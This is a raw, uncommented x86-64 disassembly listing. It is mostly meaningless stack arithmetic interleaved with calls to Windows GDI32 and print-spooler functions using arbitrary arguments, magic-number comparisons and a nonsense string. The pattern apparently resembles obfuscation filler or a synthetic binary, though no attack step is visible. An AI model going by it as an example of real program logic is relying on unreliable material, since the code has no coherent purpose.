cmp eax, ecx
jne 0x14005f1fc
mov rax, qword [rsp + 0x67b8]
mov rcx, qword [rsp + 0x6920]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
lea r9, [rsp + 0x28d30]
mov r8d, 0x3b
mov edx, 0x24
mov rcx, qword [rsp + 0x68e0]
call qword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
mov dword [rsp + 0x3764], eax
movzx eax, word [rsp + 0xf60]
movzx ecx, word [rsp + 0xf6c]
sub eax, ecx
mov word [rsp + 0xf80], ax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
lea rdx, [rsp + 0x67a8]
mov rcx, qword [rsp + 0x69d8]
call qword [sym.imp.GDI32.dll_GetWindowExtEx]
mov dword [rsp + 0x38cc], eax
jmp 0x14005f2a3
mov r8d, dword [rsp + 0x373c]
mov rax, qword [rsp + 0x6968]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x67b0]
mov ecx, dword [rax]
call fcn.1401fdff0
nop
mov rax, qword [rsp + 0x6760]
movzx eax, byte [rax]
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0x6878]
mov ecx, dword [rsp + 0x3764]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
lea rax, [rsp + 0x3790]
mov qword [rsp + 0x6a28], rax
mov rax, qword [rsp + 0x68f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6990]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6778]
mov qword [rsp + 0x6a30], rax
movzx eax, byte [rsp + 0x105]
movzx ecx, byte [rsp + 0x170]
shl eax, cl
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov eax, dword [rsp + 0x3738]
mov rcx, qword [rsp + 0x67b8]
mov qword [rsp + 0x6a38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a38]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf6c]
movzx ecx, word [rsp + 0xf74]
xor eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf78]
and eax, ecx
mov word [rsp + 0xf70], ax
movsx eax, byte [rsp + 0x174]
movsx ecx, byte [rsp + 0x172]
add eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3738]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67e0]
mov rcx, qword [rsp + 0x67b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6778]
mov rcx, qword [rsp + 0x6918]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a30], rax
mov rax, qword [rsp + 0x69f0]
mov rcx, qword [rsp + 0x6840]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x68f0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x176]
movzx ecx, byte [rsp + 0x170]
sub eax, ecx
mov byte [rsp + 0x105], al
mov eax, dword [rsp + 0x3828]
mov ecx, dword [rsp + 0x373c]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x172]
add eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x105], al
movzx eax, word [rsp + 0xf74]
movzx ecx, word [rsp + 0xc4c]
or eax, ecx
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x6140]
movzx ecx, al
mov rax, qword [rsp + 0x6840]
sar rax, cl
mov rcx, qword [rsp + 0x69f0]
mov qword [rcx], rax
mov eax, dword [0x14024b350]
mov ecx, dword [rsp + 0x3738]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a30]
mov rcx, qword [rsp + 0x6778]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x37c4]
mov ecx, dword [rsp + 0x37a0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
sub eax, ecx
mov word [rsp + 0xf80], ax
mov rax, qword [rsp + 0x68e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a30]
add rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
mov rax, qword [rsp + 0x6870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x105]
sub eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf74]
add eax, ecx
mov rcx, qword [rsp + 0x6948]
mov word [rcx], ax
movsx eax, byte [rsp + 0x175]
movsx ecx, byte [rsp + 0x172]
add eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a30]
mov rcx, qword [rsp + 0x6918]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x66e8]
mov rcx, qword [rsp + 0x67e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x37a0], eax
mov eax, dword [rsp + 0x3764]
mov ecx, dword [0x14024b350]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3738], eax
mov rax, qword [rsp + 0x69f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6988]
mov qword [rsp + 0x6a40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a40]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x68f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf7c], ax
movzx eax, byte [rsp + 0x105]
movzx ecx, byte [rsp + 0x170]
or eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x67b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf60]
movzx ecx, word [rsp + 0xf80]
add eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov eax, dword [rsp + 0x38a0]
mov ecx, dword [0x14024b350]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6990]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3890]
add eax, 0x31
mov dword [rsp + 0x3890], eax
mov rax, qword [rsp + 0x6738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3790]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3758], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6918]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x69c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf78]
sub eax, ecx
mov word [rsp + 0xf68], ax
cmp dword [rsp + 0x3890], 0x43ae
jbe 0x14005f316
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x170], al
movzx eax, word [rsp + 0xc4c]
movzx ecx, word [rsp + 0xf6c]
add eax, ecx
mov rcx, qword [rsp + 0x6928]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xf80]
add ecx, edx
cmp eax, ecx
jl 0x1401fd218
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov qword [rsp + 0x6a48], rax
movabs rax, 0x74c8c0ad5e9b4807
cmp qword [rsp + 0x6a48], rax
je 0x14005f816
jmp 0x14005f857
mov rax, qword [0x14024b360]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x6738]
mov r9d, dword [rax]
movzx r8d, byte [rsp + 0x173]
mov rax, qword [rsp + 0x67a8]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0xf70]
call fcn.1401fe2d0
nop
jmp 0x1401fd17f
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xd0c]
and ecx, edx
cmp eax, ecx
jl 0x1401fd15d
mov rax, qword [rsp + 0x68f8]
movzx eax, byte [rax]
mov byte [rsp + 0x38d0], al
cmp byte [rsp + 0x38d0], 0x1b
je 0x14005f9b2
cmp byte [rsp + 0x38d0], 0x1d
je 0x14005f8bb
jmp 0x14005fa1d
mov rax, qword [rsp + 0x69e8]
mov rcx, qword [0x14024b360]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov rdx, qword [rsp + 0x67a8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jb 0x14005f948
mov rax, qword [rsp + 0x6948]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
sar eax, cl
mov word [0x14024a014], ax
lea rdx, [rsp + 0x6800]
mov rcx, qword [rsp + 0x6a50]
call qword [sym.imp.GDI32.dll_GetCurrentPositionEx]
mov dword [rsp + 0x386c], eax
movsx eax, byte [rsp + 0x177]
movsx ecx, byte [rsp + 0x16f]
shl eax, cl
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
jmp 0x14005f965
movzx eax, word [rsp + 0xc4c]
mov rcx, qword [rsp + 0x6820]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf80], ax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6928]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6948]
mov word [rcx], ax
lea r9, [rsp + 0x3850]
mov r8d, 0x74
mov edx, 1
mov rcx, qword [rsp + 0x68e0]
call qword [sym.imp.GDI32.dll_DrawEscape]
mov dword [rsp + 0x38d4], eax
jmp 0x14005fa1d
mov rax, qword [rsp + 0x6738]
mov ecx, dword [rsp + 0x3790]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x37a0], eax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x38a0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6878]
mov dword [rcx], eax
mov r8d, 0xd4
lea rdx, [rsp + 0xf68]
mov rcx, qword [rsp + 0x6a58]
call qword [sym.imp.GDI32.dll_LPtoDP]
mov dword [rsp + 0x37f8], eax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rax]
call fcn.1401fe800
nop
lea rax, [rsp + 0x6a30]
mov qword [rsp + 0x6a60], rax
mov rax, qword [rsp + 0x6828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6990]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6840], rax
lea rax, [0x14024a010]
mov qword [rsp + 0x6a68], rax
movzx eax, word [rsp + 0xf80]
mov rcx, qword [rsp + 0x6928]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0xf6c]
movzx edx, word [rsp + 0xf60]
sub ecx, edx
cmp eax, ecx
jge 0x14005faea
mov rax, qword [rsp + 0x6948]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf60]
and eax, ecx
mov word [0x14024a014], ax
mov rax, qword [rsp + 0x69c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov r8d, 0xc4
lea rdx, [rsp + 0x6928]
mov rcx, qword [rsp + 0x6a70]
call qword [sym.imp.GDI32.dll_Polygon]
mov dword [rsp + 0x386c], eax
movzx eax, word [rsp + 0xc4c]
mov rcx, qword [rsp + 0x6948]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
add eax, ecx
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf68]
add eax, ecx
mov word [rsp + 0xf78], ax
mov rax, qword [rsp + 0x6a60]
mov rcx, qword [rsp + 0x6918]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6140]
mov rcx, qword [rsp + 0x69f0]
mov qword [rsp + 0x6a78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a78]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6988]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6738]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
mov eax, dword [rsp + 0x38a0]
movzx ecx, al
mov eax, dword [rsp + 0x3828]
shl eax, cl
mov dword [rsp + 0x3738], eax
mov rax, qword [rsp + 0x6a30]
mov rcx, qword [rsp + 0x6778]
and rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x6870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x176]
add eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x67c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x69f8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd0c]
sub eax, ecx
mov rcx, qword [rsp + 0x69c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x69f0]
mov rcx, qword [rsp + 0x6828]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6840], rax
mov rax, qword [rsp + 0x67b8]
mov rcx, qword [rsp + 0x6920]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3828], eax
mov rax, qword [rsp + 0x6a30]
mov rcx, qword [rsp + 0x6778]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6918], rax
mov rax, qword [rsp + 0x67e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3758], eax
mov rax, qword [rsp + 0x6920]
mov ecx, dword [rsp + 0x38a0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x177]
xor eax, ecx
mov rcx, qword [rsp + 0x67c0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x105]
or eax, ecx
mov rcx, qword [rsp + 0x6870]
mov byte [rcx], al
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
shl eax, cl
mov word [rsp + 0xf80], ax
mov rax, qword [rsp + 0x67e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x67e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6a08]
mov dword [rcx], eax
mov rax, qword [0x14024b360]
mov rcx, qword [rsp + 0x6a60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6918], rax
mov eax, dword [rsp + 0x3828]
mov dword [rsp + 0x38a0], eax
mov rax, qword [rsp + 0x6888]
mov rcx, qword [rsp + 0x67d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
movzx eax, word [rsp + 0xf74]
mov rcx, qword [rsp + 0x6820]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14024a010], ax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x176]
add eax, ecx
mov byte [rsp + 0x105], al
movzx eax, word [rsp + 0xf60]
movzx ecx, word [rsp + 0xf80]
add eax, ecx
mov rcx, qword [rsp + 0x6948]
mov word [rcx], ax
movsx eax, word [rsp + 0xd0c]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69c8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a60]
mov rcx, qword [rsp + 0x67a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x69e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x38d4]
shl eax, cl
mov dword [rsp + 0x37a0], eax
mov rax, qword [rsp + 0x6990]
mov rcx, qword [rsp + 0x6140]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x373c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3828], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x69e8]
mov qword [rsp + 0x6a80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a80]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [0x14024b360]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x174]
and eax, ecx
mov rcx, qword [rsp + 0x68f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf70], ax
mov eax, dword [rsp + 0x37dc]
add eax, 0x5a
mov dword [rsp + 0x37dc], eax
mov rax, qword [rsp + 0x6968]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
sub eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x67a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6140]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68f0]
mov qword [rcx], rax
cmp dword [rsp + 0x37dc], 0x31bc
jbe 0x14005faea
mov rax, qword [rsp + 0x6888]
mov rax, qword [rax]
mov qword [rsp + 0x6a88], rax
cmp qword [rsp + 0x6a88], 0
je 0x14006000e
jmp 0x1401fcff7
mov rax, qword [rsp + 0x6968]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x176]
xor eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x6a30]
movzx ecx, al
mov rax, qword [rsp + 0x6778]
shl rax, cl
mov rcx, qword [rsp + 0x6a60]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x6918]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x140060135
mov rax, qword [rsp + 0x6928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6820]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a68]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a60]
mov rax, qword [rax]
mov qword [rsp + 0x6a90], rax
movabs rax, 0xfca6c66de3d6c78d
cmp qword [rsp + 0x6a90], rax
je 0x1400600ae
jmp 0x140060117
movsx eax, word [rsp + 0xf78]
movsx ecx, word [rsp + 0xf70]
and eax, ecx
mov word [rsp + 0xf7c], ax
mov dword [rsp + 0x20], 0x4e
lea r9, [rsp + 0xf74]
mov r8d, 0x45
mov edx, 0xef
mov rcx, qword [rsp + 0x6a98]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x38d8], eax
mov rax, qword [rsp + 0x6878]
mov eax, dword [rax]
mov ecx, dword [0x14024b350]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
jmp 0x140060135
mov rax, qword [rsp + 0x69f0]
mov rcx, qword [rsp + 0x6990]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6140], rax
lea rax, [rsp + 0x37a0]
mov qword [rsp + 0x6aa0], rax
movzx eax, word [rsp + 0xf80]
movzx ecx, word [rsp + 0xf74]
sub eax, ecx
movzx ecx, word [rsp + 0xf60]
movzx edx, word [rsp + 0xf6c]
add ecx, edx
cmp eax, ecx
je 0x1400601ca
lea rax, [rsp + 0x67b8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x7d
lea r9, [rsp + 0x6710]
mov r8d, 0x25
mov edx, 0xa0
mov rcx, qword [rsp + 0x6708]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x6928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
add eax, ecx
mov word [0x14024a010], ax
jmp 0x1401fcfd1
movzx eax, word [rsp + 0xf80]
mov rcx, qword [rsp + 0x6948]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0x6918]
mov qword [rsp + 0x6aa8], rax
cmp qword [rsp + 0x6aa8], 0
je 0x14006021f
movabs rax, 0x480f1e7a50ad4ef6
cmp qword [rsp + 0x6aa8], rax
je 0x1401fcf07
jmp 0x1401fcf77
movzx eax, word [rsp + 0xf74]
mov rcx, qword [rsp + 0x6820]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x69b8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xf6c]
add ecx, edx
cmp eax, ecx
jne 0x1401fce0e
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov dword [rsp + 0x38dc], eax
cmp dword [rsp + 0x38dc], 0
je 0x1400602c2
cmp dword [rsp + 0x38dc], 0x4a00
je 0x14006027f
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x38e4], al
cmp byte [rsp + 0x38e4], 0x2c
je 0x140060300
mov r9d, 0x8a
lea r8, [rsp + 0x3828]
mov edx, 0xe1
mov rcx, qword [rsp + 0x6a98]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x386c], eax
movzx eax, word [rsp + 0xf80]
mov rcx, qword [rsp + 0x6948]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x6790]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jne 0x1401fce8a
mov rax, qword [rsp + 0x67a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6888]
mov qword [rcx], rax
movzx eax, word [rsp + 0xf74]
mov dword [rsp + 0x5e64], eax
cmp dword [rsp + 0x5e64], 0x708
je 0x1401fcea8
mov rax, qword [rsp + 0x69c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
sar eax, cl
mov word [rsp + 0xf78], ax
movzx eax, byte [rsp + 0x170]
movzx ecx, byte [rsp + 0x105]
shl eax, cl
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a30]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x6a28]
mov r9d, dword [rax]
movzx r8d, byte [rsp + 0x176]
mov rdx, qword [rsp + 0x6778]
movzx ecx, word [rsp + 0xf70]
call fcn.1401fe2d0
nop
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x177]
xor eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov byte [rcx], al
mov r8, qword [rsp + 0x6af0]
mov rdx, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x6768]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x3948], eax
mov rax, qword [rsp + 0x6878]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x3764]
call fcn.1401fe5a0
nop
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x6a30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
jmp 0x1401fd0ff
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x6878]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3764]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1401fd088
mov dword [rsp + 0x28], 0x56
lea rax, [rsp + 0x6b08]
mov qword [rsp + 0x20], rax
mov r9d, 0xc8
mov r8, qword [rsp + 0x6cd0]
mov rdx, qword [rsp + 0x6af0]
mov rcx, qword [rsp + 0x6718]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x3828], eax
mov rax, qword [rsp + 0x6948]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf74]
sar eax, cl
mov word [rsp + 0xf60], ax
call fcn.1401fe730
nop
mov rax, qword [rsp + 0x6990]
mov qword [rsp + 0x28d08], rax
movabs rax, 0x67177a9ab52a1121
cmp qword [rsp + 0x28d08], rax
je 0x1401fd0ae
jmp 0x1401fd0ca
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3840]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x9c
lea r9, [rsp + 0x6990]
mov r8d, 0xfb
mov edx, 0xf1
mov rcx, qword [rsp + 0x6708]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x3850], eax
call fcn.1401fe730
nop
mov rax, qword [rsp + 0x67b0]
mov rcx, qword [rsp + 0x66e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x67e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6918]
mov rcx, qword [rsp + 0x6778]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a30], rax
mov rax, qword [rsp + 0x67b8]
mov rcx, qword [rsp + 0x6920]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6870]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6760]
movzx eax, byte [rax]
mov byte [rsp + 0x5e68], al
cmp byte [rsp + 0x5e68], 0x4b
je 0x1401fd19d
jmp 0x1401fd1c1
lea r8, [rsp + 0x6868]
mov edx, 0x82
mov rcx, qword [rsp + 0x6b08]
call qword [sym.imp.GDI32.dll_GetEnhMetaFileBits]
mov dword [rsp + 0x3828], eax
jmp 0x1401fd218
mov eax, dword [rsp + 0x3764]
mov ecx, dword [rsp + 0x3840]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
lea r8, [rsp + 0x28d80]
mov edx, 0x72
lea rcx, str.Miscellanies_troublemakerhaystack
call qword [sym.imp.GDI32.dll_RemoveFontResourceExW]
mov dword [rsp + 0x38cc], eax
mov rax, qword [rsp + 0x6a08]
mov ecx, dword [rsp + 0x3790]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x37a0], eax
mov rax, qword [rsp + 0x6760]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6970]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x178], al
